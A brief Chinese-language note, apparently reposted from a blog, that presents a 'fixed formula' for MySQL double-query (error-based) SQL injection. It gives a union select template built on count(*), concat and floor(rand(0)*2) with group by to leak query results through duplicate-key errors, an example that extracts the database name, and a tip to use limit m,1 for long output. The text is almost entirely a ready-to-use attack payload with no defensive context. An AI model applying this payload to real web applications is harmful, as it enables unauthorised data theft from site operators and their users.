双查询注入固定公式

union select 1 from (select count(*),concat(floor(rand(0)*2),(
注入语句
))a from information_schema.tables group by a)b -- -

如：

union select 1 from (select count(*),concat(floor(rand(0)*2),(
select database()
))a from information_schema.tables group by a)b -- -

查询过多显示不了时，可使用limit m,1

转载于:https://blog.51cto.com/eth10/1971135